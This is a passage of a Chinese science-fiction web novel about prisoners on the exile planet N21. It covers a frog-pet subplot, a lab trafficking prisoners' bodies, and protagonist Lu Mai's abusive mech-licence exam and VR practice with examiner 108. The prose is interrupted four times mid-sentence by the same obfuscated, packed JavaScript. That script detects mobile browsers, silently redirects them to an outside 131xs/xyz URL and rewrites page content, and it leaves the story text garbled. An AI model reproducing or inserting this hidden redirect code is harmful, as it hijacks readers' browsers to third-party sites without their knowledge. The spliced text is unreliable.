古德奈说:“全部处理掉。只留下健康的那些,其他的趁着还没变成青蛙,冲进下水道就行。” 路麦哑然。 古德奈继续说:“你知道原始兽是有规定寿命的吧?如果登记的那只不幸未能寿终正寝,备用品就能派上用场了。” 这家伙只是单纯地把宠物当做加速减刑的工具。他并不在乎什么精神抚慰。看他的精神状态,他似乎也不需要那些东西。他情绪稳定得像个疯子。 少年从怀中取出一只塑料杯,从池塘里舀了些水,然后折下那片养育着蛙卵的水草,将它装进了杯子。 那只杯子正是每间独房的卫生间都会配置的牙杯。 路麦想说如果蛙卵全部孵化,牙杯肯定养不下那么多蝌蚪,但她预感到古德奈不会在意这个问题,他大可让那些蝌蚪过上沙丁鱼罐头的生活,于是又把话咽回了肚子里。 “你以后用什么东西刷牙?” “暂时用手接点水就可以了。等拿了积分资格证,我可以买更大的饲养瓶。” “也对,记得买一个新牙杯。” “旧的这个又没坏,洗洗就又能用了,为什么还要买新的。” “……” 路麦失去了与此人沟通的欲望。 * 服刑者们不会知道最近N21的“对外政策”发生了什么变化。 简而言之就是易进难出。 空间门是整个流放星唯一的出入口。英明神武的狱长大人最近加强了此地的把手,并且要求所有的出关文件要由她亲自过目。 原本任职于O大区宠物管理窗口的管理员伍拾和陆拾调任出境检察官,辅佐狱长对离境人员的身份和刑期余量进行核查。 之所以起用这两人任此要职,是因为卫琅认为这二人是外部势力卧底的可能性很低。 首先,以他们之前的职位,绝对无法接触到与服刑者押解和转移的相关文件,也就无法参与篡改,重要的是他们两个看起来足够光明磊落而且一无所知,不然他们不可能在她面前义正辞严地带走前OA7V住户的那只电子兽。 打草惊蛇? N21的这片草太深了,要真的一寸寸查起来,不知道要查到什么时候去,还不如把蛇给惊起来,看看它们到底打算作什么妖。 N21的内部消息是相对封锁的,但潜伏在这里的卧底们想必会定时或不定时地将重要情报传递出去。宽进严出的政策转变可能会引起一些人的反应。对方有反应,这边才能有针对性的回击。 对于毫无头绪的年轻狱长来说,使用这种笨办法也是无奈之举。 * “预定的大鼠没有按时到货,去查查是怎么回事。” 唐氏研究所中,一名研究员让助手调查本该于一工作日前运抵现场的实验体目前的物流动向。 助手经过几番周折,终于从联络室得到了“货物尚未离港”的消息。 “怎么回事?空间门出问题了?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597564|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有,空间门仍在正常运行。是对面加强了管控,人员出境要经过好几层审批,为了避免暴露身份,负责这批实验体的执行者暂时终止了交付计划。” “你的意思是,短期内我没法拿到那批大鼠了?48小时内不能接续实验的话,前期准备就要打水漂了,你让联络室转告一下执行者,得让他知道这事的紧迫性。真是的,那些家伙就知道消极怠工,根本不能体会我们搞实验的有多辛苦。” “执行者那边说是周转不了。我去试着找找其他进货渠道。” “周转不了?到底怎么搞的?我要去和博士说一声,让他换个人,不能让毫无责任心的家伙担任这种工作。太影响实验效率了。” “博士那边……也建议老师先用其他渠道的大鼠代替一下。” “什——” 长久以来,N21就是唐氏研究所实验体的重要货源。 在N21相当盛行的电子兽几乎都是唐氏集团的下属公司出产的商品。那些电子兽体内藏有专用的发射器,发射的电波能在无形中影响饲主的意识,让他们主动做出放弃肉身的决定。而从他们身上切割剥离的活的器官与肢体,将近三成会通过卧底的一系列操作,最终被运往唐氏研究所的各个基地,成为一件件实验材料。 除了新鲜的器官和肢体,活生生的人则是更加高档的实验耗材。研究出在各方面都更加优于当前人类和现版本仿生人的改造人,是唐氏研究所内部高度一致的科研目标。这一过程需要大量旧人类实验品用于试错。每年,外派在N21进行卧底的执行员都会将大量活人偷渡到研究所,供研究员进行实验。 因为货源一直都很充足,研究所的成员大都可以放开手脚进行创新。很多高级科研人员,就是冲着取之不尽的生体材料,前赴后继地成为唐氏研究所的一员。 如果N21这个进货渠道出了问题而又无法找到合适的替代品,势必会对唐氏研究所的发展造成巨大影响。 博士应该不会放任这种情况继续下去。可实际上,他并没有做出补救,甚至大有置之不理的意思。 “博士的这种态度,是会寒了我们这些兢兢业业的研究员的心的!我得去找他,当面说清楚这事的严重性。”研究员忿忿不平地将一支签字笔拍到桌子上,一把脱下身上的大褂,佝偻着背却又气势汹汹地走出了实验室。 他绕了好几个弯,走了好几次回头路,终于想起了唐古拉斯的办公室位于研究所四楼,走廊的最深处。 等来到走廊尽头,站在那扇显得十分威严的大门外时,他又犹豫了起来。 他差点忘了,唐古拉斯可不是什么好惹的人。那可是一个比他还要凶恶的法外狂徒,一个披着议员外套的疯子。 正犹豫要不要敲门,说话声却从门背后传了出来。 “……其他东西都无所谓,只要确保能把678搞回来就行。” “……你也不用太自责……当初我也是同意的……” 研究员知道678号实验体,他甚至参与过针对678的几项实验,主要是和基因融合有关的那几项。 一听到这个代号,他暂时将对实验体供货不足的抱怨忘到了脑后,开始在意起发生在门后的对话。 在得知678死亡讯息之后,他还消沉了一段时间——那种特别的实验体可不是随便什么人都能接触到的,一旦被弄死了,不知道什么时候才能等到下一个同等质量的替代品。 但是,从刚才的对话来看,678非但没有死,而且还被送去了N21。 博士正在着手把678弄回来。 想到今后还有机会参加到678的实验中,研究员的心情就一下子激动起来,以至于即将发生的损失对他来说也毫不心痛了。 23. 一〇二 * 又是一天工作结束。 路麦去考试中心参加机械维修的理论考试。说实话,在这里她没有生存压力,没有同龄人焦虑,不用听大姑大姨的七嘴八舌,哪怕又要工作又要读书,但至少有目标有盼头,日子过得倒还精神。 不过这也是托了她那颗超级大脑的福,不然光是死记硬背那些公式都够她忙活好几天的了。 离开考试中心的时候,刚好看到从隔壁管理局大门走出来的古德奈。 还不等路麦决定好是回避还是迎战,那小子已经高呼盟友,屁颠屁颠地跑了过来,手里还拿着他的牙杯。 “你做好登记了?”路麦凭借身高优势一眼就望到了杯子里的一粒小逗号,估计是昨天夜里孵化出来的。 古德奈拿着牙杯在那晃啊晃,做着“不让水线高过杯口”的无聊游戏,半点不在意里面那条蝌蚪是怎么想的。“伊芙宁一号。这家伙叫伊芙宁一号。” 路麦不知道这个名字是古德奈考虑了与自己姓名的关联性后起的,还是纯粹的巧合。“还有二号,三号,四号?” 古德奈说:“目前有十五份备用品。” 路麦算是没话找话:“你是怎么让蝌蚪同意成为你的宠物的?” 古德奈说:“没有拒绝,就是同意啰。” 看来管理局还是那一套。 路麦问:“帮你登记的管理员是伍拾和陆拾吗?” 古德奈继续晃牙杯:“什么五十六十的?” 路麦说:“管理员的代号,伍拾和陆拾,两个细得像竹竿似的男人,穿着西装,总是带着墨镜的。” 古德奈唔了一声,做回忆状:“帮我登记的是个胖子。” 路麦说:“那就不是了。”不知道那两人是换了工作,还是没有轮到排班。 古德奈突然笑了起来:“那胖子还要我宣誓呢,搞得跟结婚似的。” 路麦说:“流程嘛。话说回来,登记的时候物种是蝌蚪还是青蛙?” 古德奈说:“当然是青蛙。伊芙宁又不会一辈子是蝌蚪。幸好他们不登记学名,我只知道它以后会变成青蛙。” 路麦说:“也有可能是□□。” 古德奈说:“青蛙。” 路麦说:“好吧。我也希望是青蛙。” 古德奈说:“现在,让我们开始吧!” 路麦问:“开始什么?” 古德奈一脸顺理成章:“当然是互刷啊!” 路麦觉得很有道理,趁现在得赶紧刷一点好感度,万一到后来伊芙宁真的不幸变成了□□,再刷就晚了。 * 路麦又连续在工厂拧了一星期螺丝,自认为已经基本掌握了当前主要零件的构成以及其他考纲要求的内容。 志得意满地报名参加机修的实践考试,以当前场次第一名的优秀成绩拿到维修师执照,在领取执照时获得了现场所有狱友的一致鼓掌祝贺。 “你在入狱之前从事过相关行业吗?”有人问道。 “是的。”路麦答。 她总不能到处宣扬自己只花了一个礼拜就从零基础升级为机械大师。 机修执照已经到手,下一个目标就是A1执照,也有人叫它驾照,正式名称是机甲驾驶许可证A(1类)。 A执照分1、2、3三类,分别对应战斗型、运输型和家用型。 家用型的机甲在概念上和私家车差不多,就是个家庭代步工具,体积小、操作难度低,搭载自动驾驶系统之后,基本上任何智力正常的人都能胜任驾驶员一职。 运输型则类似大货车,一般设计成舰型或箱型,承担星际间的货运功能,相比家用型,对驾驶者的反应速度和身体素质要求都有所提高。 而战斗型,那面对的是上天入地、枪林弹雨、变化莫测的情境,驾驶环境恶劣,对驾驶员软硬件水平的要求当然更上一层楼。 因此,A1执照可以兼容A2和A3的机型,反之则不可。 路麦直接报考A1,倒不是因为自信爆棚打算一步到位,只不过对她来说,A2、A3没有实际意义,一开始就不在考虑范围内。而A1不仅仅是仿生人鉴定师资格的前置条件,也是很多“高薪劳动”的必要条件。 能拿到A1执照的话,就可以报名那些单次减刑四位数的战斗类任务,再与日渐提高的减刑系数进行乘算,一天能减刑好几千年。 不过在N21考出A1执照的人少之又少,那些能参加战斗类任务的服刑者,大多是在被送来N21之前就已经获得执照的。 也就是说,该执照的获取虽然有一定难度,但到底还是一个健全健康的人努努力能做到的,难的是在N21这种封闭的地方获得A1执照。 就目前了解到的情况来看,在N21报考驾驶执照的最大难点其实和机械维修的操作考试类似,明明是对实践需求量极大的技能,能够用作学习资料的却只有一份文字版的考试大纲。 交通规则和机甲基础原理的部分倒是光靠背题就能合格,“路考”就只能照着考纲的描述发挥想象。 光看文字资料就能学会开战斗机吗?显然是不行的。也难怪A1会成为流放星通过率最低的考试之一。 路麦在穿越之前驾驶经验并不丰富,但好歹是考过驾照的,于是努力将驾车经验代入机甲驾驶,结合考机械维修时掌握的机甲知识,还有曾经流行过的机甲战斗类动画,姑且对如何驾驶机甲产生了一点印象。 在古德奈的蝌蚪换代到伊芙宁四号的那天,路麦正式向A1执照发起挑战。 驾照考试有单独的考场,理论考和路考都在该考场进行,路麦在报名的时候就来这里踩过点,不管是那时还是现在,这座巨大的场馆总是显得那么冷清,几乎让人觉得有点浪费资源。 路麦一头钻进场馆,在门口的机器上取了号,按照说明前往机房,快速刷完理论考试,再取号,再前往路考现场,至此为止,总共花了不到半个钟头。不过她也知道接下去就没有那么容易了。 哪怕是小型四轮机动车驾驶证考试的科目二和科目三,那也是一边听着教练的呵斥一边把着方向盘、踩着刹车,在同一条路上来来回回练了几十遍的,更不用说在自己上手之前,光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603453|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是坐车都已经积累了很厚的经验条。 而机甲呢,别说自己开了,她就是连搭都没搭过,驾驶舱和操作面板的样式都还只存在于想象之中,肌肉记忆更是想都不用想的。 路麦倒也没想过一定就要一次成功,今天来参加考试,主要还是想亲自上手,感受一下机甲驾驶到底是个什么事,好在日后的备考中有个明确的印象。 要是万一真让她一次通过,那就是最好不过的了。 “路考”有两次机会,单趟行程中犯错超过三次,当次机会便要作废,也就是说,要想通过考试,最多只能犯六次错。 路麦的计划是初次上机能走多远走多远,抓紧一切时间熟悉面板和拉杆的操作,下机后立刻复盘容易犯错的点,第二遍确保不重蹈覆辙,将余下的三次犯错机会留给第一遍没走过的部分。 计划是美好且合理的,现实是残酷且难以预料的。 第一次考试可以说出师不利,第一遍才刚发动机器,就已经出现三次失误,这就导致了想要在今天通过考试几乎成了不可能的事。 虽然考纲上明确列出了发动时的注意事项,但初次上机就要将那些文字资料和实际操作一一对应实在不容易,顾此失彼、丢三落四都是难免的。 路麦完全不熟悉机甲的通用面板,也不习惯那种没有方向盘而只有操作杆的架势方式,在过去的四轮汽车驾驶活动中累积的经验仅有助于她进行距离判断,而且这种帮助十分有限。 更糟糕的是她只听到报警器响了三次,却不知道自己究竟在哪个环节出了问题,就算想好好复盘也无从下手。 路麦被从驾驶舱赶了出来。 她在解开保险带上花费了太多功夫,那名编号为一〇二的考官粗暴地打开驾驶舱的舱门,抓着她的手腕将她从里面拖了出来。“到这里来浪费时间之前,你最好再多练练!” “那个……请告诉我哪里可以练习呢?”路麦抱着一丝侥幸问道。 一〇二松开手,将她丢在地上:“梦里。” 一〇二个子高大,长着一张被全世界欠了一百万的脸,颇具威慑力,让人想到电影中反派首领身边跟着的无情打手。 他这一丢丝毫没有手下留情,路麦觉得自己的大脑在颅骨里晃了几下,视线都开始模糊起来,也是不敢再和这人纠缠,打算溜之大吉。 脚尖刚一转向,后领便被拉住。 后颈的发际线处传来一阵酥麻。 路麦当即意识到她的宠物和一〇二的手指之间只剩不到三公分的距离。 接着,她感到那八条腿的小虫飞快地从左侧耳垂下方掠过,顺着下颌线一路溜到下颚与脖颈的交界处,将她敏感的皮肤刺激了个遍,那种半麻半痒的触觉让她浑身不自在。 当路麦被一〇二抓到面前的时候,路西法已经绕着她的脖子周游了一圈,再次回到她的后颈发际线处,没有被魁梧的考官发觉一丝异样。 “你把操作杆拉坏了,这笔损耗要算在你头上,罚刑三千年。”一〇二在腕带式终端上小心地操作着,这一表现与他给人的印象形成了某种反差。 24. 一〇八 大概是因为业务量很少,导致他对延长刑期的界面不那么熟悉,再加上粗大的手指总是造成误触,使得这项简单的工作在他手中显得格外艰难。 路麦几次想说“我来帮你”,但看到那张凶神恶煞的脸,还是忍住了这股冲动。她干嘛要帮他给自己加刑? 整整三千年!再加上报名时增加的500年刑期,这试还没考完、取得执照还遥遥无期,她就白白增加了3500年徒刑。 她算是彻底明白为什么一张对加速减刑大有裨益的驾驶执照却鲜少有人报考了,500年的报名费和没有练习机会的设定只是次要,真正要命的是考官肆无忌惮开出的罚单。 她应该庆幸不是像胖子那样被增加了三十万年刑期吗? 她发誓自己没有粗暴对待驾驶座边上的操作杆,也不认为那东西出现了破损,就这样,都被罚了三千年刑期,要是真的出现重大失误,在驾驶过程中把机甲磕着碰着了,那得给她再加多少年刑罚?她这辈子莫不是就要交代在这里了? “我不明白……操作杆哪里坏了?”在飞来横加的三千年面前,路麦对“公平公正”的追求暂时胜过了对一〇二的恐惧。 一〇二在诬陷她。她相信这是他做得出来的事。说不定胖子也是这样被诬陷的——她现在彻底理解了胖子临别前的忠告。管理员和服刑者的人格和权利是不平等的。前者可以用任何理由对后者进行惩罚。 下一秒,她的手腕就被一只厚重的大手抓住。 一〇二把她拖进驾驶舱,蛮横地将她的手摁在操作杆的顶部,哐的一下,顶部的手柄像断头似的滚到了地上,吓得她反射性地一缩手。 一〇二当然不会轻易放她脱逃,仍用力抓着她的手腕,而且力气还越来越大,这样下去,她那截骨头迟早要碎掉。 一〇二的身体压了下来,本就不宽敞的驾驶舱变得更加逼仄,路麦不知道他还想干什么,只觉得自己已经被压得无法动弹,连内脏都快被挤出来了。 还好,压迫只是暂时的,一〇二很快就抬起了身体,手中多了一件物品,是刚刚被碰掉滚落的手柄。 “还有什么异议吗?” 路麦嚅动了一下嘴唇:“没有。” 怎么会没有? 她刚才忙着调试面板,调整座椅,寻找视角……做一切上机时应该第一时间做的事,最多就是确认了一下操作杆的档位,她是真的不知道操作杆怎么就这样了。 但现在她实在是不敢发声,一〇二有压倒性的体型优势,要捻死她就像捻死一只蚂蚁那么简单,更何况以他的身份,欺负欺负新来的囚犯,也是毫无风险的。 她真怕惹得这家伙不高兴,不光是多出好几千年刑期,没准连小命都要交代在这里。 “你们在干什么?”有声音从栈桥的方向传来。 一〇二对此置若罔闻,背着身子用制服的衣角擦了一下掉落的手柄。 路麦艰难地调整了一下姿势,朝栈桥看去,只见那里不知什么时候多了一个人。 那人穿着和一〇二款式相同的制服,说明也是在这里工作的考官,不过他那文质彬彬的外形倒是和一〇二的糙汉形象形成了鲜明的对比。 那人没有得到回应,索性穿过栈桥,走到了登机口附近,微微歪了一下头,观察着这边的动静。 路麦还被一〇二夹在驾驶座和舱门之间,不敢轻举妄动,只是默默看着那名越走越近的考官。 他既没有像伍拾和陆拾那样瘦过了头,也没有像一〇二这样壮得吓人,在一干奇形怪状的管理员之间,简直是正常得不正常的那种体型,配合其自身的气质,给人一种年轻有为且外形优越的社会精英的印象。 随着他慢慢走近,路麦嗅到了一股淡淡的薄荷香味。 那香味似乎与这颗混乱而恐怖的星球格格不入,但有那灰色的、一无所有的天空作为背景,又让人觉得那香味的主人与这个地方很是相称。 后颈处传来一丝轻微的刺痛。路麦相信是蜘蛛在行走的时候没有收好爪尖的钩子,这阵微痛无伤大雅,倒是让她从那股清甜的香味中回过神来。 她飞快地扫了一眼在驾驶舱外停下脚步的男人。 工牌上的编号是一〇八。 “MR-O-2的手柄破损,我在检查原因。”一〇二终于舍得回答他的问题了。 “你的考生都快喘不上气了。”一〇八指出了重点。他看来不是那种只说不做的人,因为在说这话的同时,他已经拉住了路麦的手,将她从驾驶舱里拉了出来。 抓住她的那只手指节修长而分明,指甲修剪得整齐且干净。从那只手上传来的是略低于常人的体温。 一阵短促的眩晕之后,眼前的景象终于豁然开朗,流通的空气伴随着那似有若无的薄荷香显得格外清新,路麦一连做了好几个深呼吸。 “看出什么了吗?”确认过考生没事,一〇八这才开始关心机器损坏的问题。 “看断口像是被蛮力掰下来的——”一〇二看了路麦一眼,竟然欲言又止。 路麦往一〇八身边躲了躲,警惕地回望过去。她敢打赌,一〇二想说她看起来不像有那么大力气。 这倒是他们小瞧了她。哪怕她不是故意弄坏了手柄,但在举手投足时不小心把它撞掉的可能性还是存在的。这具身体的力量很大,她是知道的。 这时候,就像机甲在抱怨使用者的不小心似的,驾驶舱内突然响起一阵尖锐的警报,同时面板上的显示屏红光大作。 一〇二将原本就皱着的眉头皱得更紧了,他二话不说探进了驾驶舱,手指灵巧地在面板上操作起来,和刚才笨拙地操作终端的样子判若两人。 警报声停下,一〇二钻出驾驶舱,沉着脸,对路麦说:“系统报错,罚刑三千年。” 路麦一听,差点两眼一黑昏过去,但一〇二那副仿佛要把她生吞活剥了的表情,让她到底是没敢多说什么,只能强行咽下这颗苦果。 但这次一〇二没有急着在终端上进行增加刑期的操作,而是再次钻进驾驶舱,流利地在键盘上敲出一行行代码,并观察着显示屏上的反馈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610461|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他神情凝重,精神集中,仿佛已经忘了两米开外的地方还站着他的同僚和一位可怜的考生。 路麦一时间不知道该怎么办。 薄荷香味突然浓郁起来。 “跟我来。”耳边响起一个刻意压低的声音。 路麦吓了一跳。一〇八的突然凑近让她感到紧张,她总是担心路西法会在这种时候突然跳到别人脸上去。 跳蛛还没有收起它的爪子,像是在提醒她不要掉以轻心似的。 不过路麦还是老老实实地跟在一〇八身后离开了这片空旷的考场,将那台不时发出一阵呜咽的机甲,以及正在进行维修的考官抛在了后面。 “那个……”路麦试探着发出一个声音,希望一〇八能大发慈悲地告诉她接下去的计划。 而一〇八张口就说出了她的编号:“OA7W。” “嗯。”路麦连忙回道。 “我觉得这种考试规则很不合理。”一〇八说。 路麦点了点头,心理有些莫名其妙。她当然觉得考试规则不合理,但是不知道身为考官的这个人为什么要和自己说这些。 “这可不是靠死记硬背就能掌握的技能。如果把考试当成练习,通过反复参加考试来堆积合格的可能性,这‘学费’又未免太高。”那考官继续说。 这的确是路麦心中所想。 但整个N21就是为了折腾服刑犯们而存在的,不合理的规则反而成了一种合乎想象的事物。 因此她没有立马应声。 没准这人是在钓鱼执法——这种问询也是考试的一部分,不失为一种意料之外情理之中的可能性。 过了一会儿,她才说:“但总有人能通过的。我就见到过一个。” 一〇八眯起眼睛,微微笑了一下:“EH2N,那个通过了鉴定师考试的女服刑者?她在这一带很有名。” 路麦问:“我们现在要去哪里?” 考官说:“我可以教你一些驾驶机甲的诀窍,应该会对通过考试有所帮助。” 路麦愣了一下,那声“不用了”终究还是被她咽回了肚子里。 管理员是站在服刑犯对立面的存在,一〇八自然也不例外,但他给人的第一印象并不坏——这和他的长相绝对有着密不可分的关系。 这是一个长相端正,甚至是有一些英俊的男人,加之态度温和,虽然不是路麦的菜,但确实很容易让人对他产生好感。尤其是在一〇二的衬托之下。 “你为什么要帮我?”路麦迟疑地问道。 “我跟你说了,我觉得考试的规则不合理。所以我想帮助你们这些被不合理的规则所困住的人。”一〇八说。 “哦。” 一〇八沉默了一会儿,忽地又是一笑,那是一个年长者在开导年少者时会使用的带着成熟和宽厚的笑,似乎是想表示对眼前这名囚犯所采取的态度的理解。 “其实大多数管理员都希望看到服刑者们能早日重获自由。” 路麦抿了一下嘴,避免发出暴论。 25. 练习 这话会是真心的吗? 这里虽然有严苛残忍的服刑项目、有像一〇二那样粗鲁且刻薄的人,但大多数劳动都是正常任务、大多数管理员都不会刻意刁难遵从规则的服刑犯——至少路麦遇到过的大多数都是如此。 比如伍拾和陆拾,路麦觉得只要自己不为非作歹,他们都会表现出通融且平和的态度,至少不会在明面上刁难她。 但对于一〇八是哪种人,她心里却是没有底。 他确实是一个让人想要亲近的人,但在这个环境中,出现一个让人想要亲近的人本就不正常。 伍拾和陆拾都是不错的家伙,但扪心自问,路麦不会主动想要接触他们,其他那些不冷不热的管理员更不用说。 一〇八见路麦久久不语,又说:“你怕我对你图谋不轨?” 图谋不轨! 经他这么一声提醒,路麦恍然大悟。差点被这人的外貌给骗了,忘记警惕他可能有所图谋。这正是她最担心的事。 不然呢?难道这个人真的只是为了寻求精神满足而对可怜的服刑者们施以援手的? 在原来的世界,她属于是有些心大的性格,总是习惯性地把人往好的方向想,自己不出头、不争抢,说得好听是从善如流,说得不好听那就是浑浑噩噩,但总归是平平安安、无风无雨地活着。 她相貌平平、家世平平,要说有人对她图谋不轨,她还要问一句别人到底图啥。她见过最差劲的人也顶多只能说是市侩,而不是真正的恶人。 但现在世道不同,且不说她身上到底有没有值得惦记的东西,这地方的险恶程度就不是以往那种太平日子能比的,这具身体曾经经历过的一切,也依然以疤痕的形式烙在她的脑海中,让她多了一分警觉。 她现在再一无所有,倒是还有一具实验价值极高的身体,以及一张漂亮脸蛋。过去她从没担心过这一点,但现在她不能保证绝对没有人会贪恋“他”的美色。 哪怕是她自己,走在路上要能遇上个长成这样的,高低也得在心里垂涎半天。 路麦这边打着主意,一〇八已经在一扇房门前停了下来。 刷卡,开门,点灯。 电子锁发出的嗡鸣声让人起了一身鸡皮疙瘩。 一〇八已经走到了房间内部,路麦迟疑了一会儿,才跟着走了进去。 这应该是一间单人使用的办公室,因为里面只有一套办公桌椅。 除此之外,还有一排书柜,一些用途不明的大型器械。 机械门自动关上,电子锁再次发出嗡鸣。 密闭的房间。如果一〇八真的打算为非作歹,路麦没有信心能顺利逃脱。 但问题是,即使房门开着,她的处境也不会变得更加安全,这里根本没有会响应她呼救的人。 左右都没什么好事,那就既来之则安之吧。 路麦一边环视着室内的布置,一边问道:“你说要教我诀窍?可我觉得操作类的考试不是记住几个诀窍就能通过的,‘纸上得来终觉浅’啊。” 刚说完,一回头,就看到一〇八从靠墙的柜子里翻出一套设备,难得的是路麦竟觉得那设备很是眼熟。 VR眼镜? 路麦一阵恍惚。没想到居然能在这里看到这种东西。 虽然肯定比不上真实操作,但在条件有限的情况下,通过虚拟现实的设备和程序来熟悉战斗型机甲的操作,确实能够提升对实战的理解。 好像可行。 “哪怕是在外面,有机会驾驶战斗型的人也不多,不少人也是在考试的时候才第一次登上实机。”一〇八说,“让一个完全的新手驾驶实机,风险太高了,所以就有了这类训练设备。” 他给设备插上电,亲自调试起来。 “真的可以借我用?”路麦蠢蠢欲动,才刚生出不久的警戒心几乎烟消云散。她甚至忽视了蜘蛛的抓挠。 她对A1执照志在必得,但就目前的状况来看,毫无准备地参加考试只是在浪费时间和报名费。如果有条件进行练习,哪怕要承担一定风险,她也愿意。 一〇八已经完成了准备工作,将那副和头盔也没太大差别的眼镜递了过来:“先调整一下松紧吧。” 路麦接过那东西,找了一下角度,随即戴到了头上。视野被黑色笼罩的时候,她有感到过些许不安,不过那种情绪只持续了不到一秒,因为镜框很快就变成了透明的模样,可以清晰地看到室内的景象。 一〇八示意她站到一个带有万向轮和履带的平台上,并耐心地等待她找到平衡。 “准备好了吗?我要启动程序了。” 这一切进展得过于迅速,路麦还有些晕乎乎的,“等等,我该怎么做?” 她没想到一〇八一上来就直接给了她练习的机会,甚至连一点铺垫都没有——她以为至少会有一篇长短适中的说明。 “相信你已经熟记考纲了。”一〇八说。 “嗯。” “而且你也已经操作过真正的机甲了。” “只有几分钟而已。” “那也够了,你能应付的。” 耳畔响起清脆的啪的一声,眼前的景象在刹那间发生了变化。 整洁的房间消失了,变成了一片明亮而无边际的星海。 路麦知道这只是虚拟现实所创造的效果,但其逼真程度还是让她产生了身临其境的实感,以至于她几乎忽视了镜框压在眼眶和鼻梁上的感触。 有一名胸前挂着工牌的工作人员从视野的右侧进入,对她做了一个接引的手势,示意她跟上。 于是她跟着那人穿过一条甬道,来到登机用的栈桥上。 栈桥连接着一台机甲的驾驶舱,和考场上的情形简直一模一样,只要通过栈桥走进驾驶舱,训练就会正式开始。 路麦低头,看了一眼自己的着装——映入眼帘的是正规的驾驶服,这一点甚至比考试还严谨。 其实这段前戏大可不必有,直接把驾驶舱作为初始情景就好,路麦一边在心里想着,一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629049|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钻进了与机甲的整体大小相比无疑有些狭窄的舱内。 调整参数,调整视野,调整椅背,系好安全带,挂挡,发动引擎…… “视野开高了一档。” 通讯器里突然传来提示的声音,路麦觉得有些耳熟,这才发现这正是一〇八的声音,他能够观察到机舱内的景象,并对会产生扣分的操作做出提醒。 原来室内的那台投影仪是用来干这个的。 路麦对于失误的暴露感到有些羞耻——毕竟这个错误实在是太低级了——但还是立刻将视野调整到规定的水平。 根据考纲的说明,刚开机时只能将视野调至三档,即正面九十度的范围,比正常的双眼视野小了一半,在机器移动后才可以开到更高档位。 因为这个考点没有详细解释这么做的原因,又很违背正常人的操作习惯,所以很容易成为被顾此失彼的一个项目。 没错,考纲上这种奇怪的规定林林总总加起来有七十多条,其中八成都集中在机器发动的阶段,十分不讲道理。就算每条规定都很简单明了,但也架不住数量实在众多。 路麦这时候很想吐槽,但考试规定考生不能与考官进行语言交流,于是把话又咽了回去。 倒是一〇八主动当了她的嘴替:“考试里有很多这种死板的规定吧?” 路麦点头。是啊,但总有一定道理吧? 就好像考驾照的时候,要求启动前绕车一周,有多少人会在实际驾驶的时候做到?但为了确保安全运行,这一动作其实很有必要,到了不怕一万只怕万一的关头,没准就是这样的细节能救下一条命来。 说不定机甲驾驶执照的考试要求也是这么回事。 正这么想着,就听一〇八又说:“很多规定都是用来故意刁难考生的,对实际驾驶来说一点意义都没有。对战斗型机甲更是如此,战场上哪里顾得了那么多。” 好吧。 路麦汗颜。 又是一番折腾。一〇八一一指出被忽视的细节。路麦一一改正。她尽量不犯那些已经被指正过的问题,就这样一点点地推进流程,直到把整个起步环节重复了好几次,终于达成了直到发动引擎这一步都没有扣分的成就。 就在路麦兴致勃勃地想要体验真正的驾驶感受时,一〇八却终止了程序。 “今天就到这里。” “可是——”好不容易走完最糟心的流程,路麦憋着一股气,就想在正式启动后一飞冲天,尽情释放,自然不想就这么停下。 一〇八指了一下终端,亮起的屏幕上方显示着当前的时间:“再不回去的话,就要赶不上门禁了。” 路麦一怔。原来已经过了那么久,她完全没有觉察到。 “外面天都黑了,我送你回去吧。”一〇八说。 “不用,我又不是小孩子。”路麦摇摇头,将眼镜摘了下来,离开了那台VR辅助机器,“明天还能来练习吗?” “当然可以。”一〇八又露出那种彬彬有礼的笑容。 26. 无照的王牌 考试的两次机会没有规定必须在同一场次中用掉,不仅如此,还有五天的保质期,路麦心里当然盘算着要在这五天里把考试流程掌握到无懈可击的程度。 在她穿过考场大门的时候,靠在一旁墙边的古德奈张牙舞爪地蹦了出来,口中发出“哇——”的声音,并作猛虎扑食状。 “反应冷淡。无聊。”他对邻居的不捧场感到挫败,但这不足以影响他的情绪,“怎么样,合格了吗?” 